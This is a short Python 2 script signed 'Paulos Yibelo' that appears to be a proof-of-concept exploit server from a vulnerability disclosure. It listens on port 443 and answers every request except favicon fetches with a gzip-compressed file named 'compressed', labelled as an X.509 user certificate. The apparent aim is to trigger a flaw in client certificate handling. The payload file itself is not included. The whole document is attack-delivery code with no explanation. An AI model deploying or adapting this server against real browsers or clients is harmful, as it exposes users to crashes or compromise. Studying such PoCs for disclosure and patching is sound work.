#!/usr/bin/python2 import socket import sys import time kHost = '127.0.0.1' kPort = 443 def bind_listen(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) s.bind((kHost, kPort)) s.listen(1) return s def send_certificate(c, r): print '[*] sending certificate' payload = '' with open('compressed', 'rb') as tmp: payload = tmp.read() c.send('HTTP/1.1 200 OK\r\n') c.send('Content-Type: application/x-x509-user-cert\r\n') c.send('Content-Encoding: gzip\r\n') c.send('Content-Length: {}\r\n'.format(len(payload))) c.send('\r\n') c.send(payload) def main(): print '[*] listening for connection on port {}:{}'.format(kHost, kPort) s = bind_listen() while True: c, (host, port) = s.accept() print '[*] connection from {}:{}'.format(host, port) while True: r = c.recv(1024) if 'favicon' in r: c.send('HTTP/1.1 404 Not Found\r\n\r\n') else: send_certificate(c, r) time.sleep(20) sys.exit(0) if __name__ == '__main__': main() Thanks, Paulos Yibelo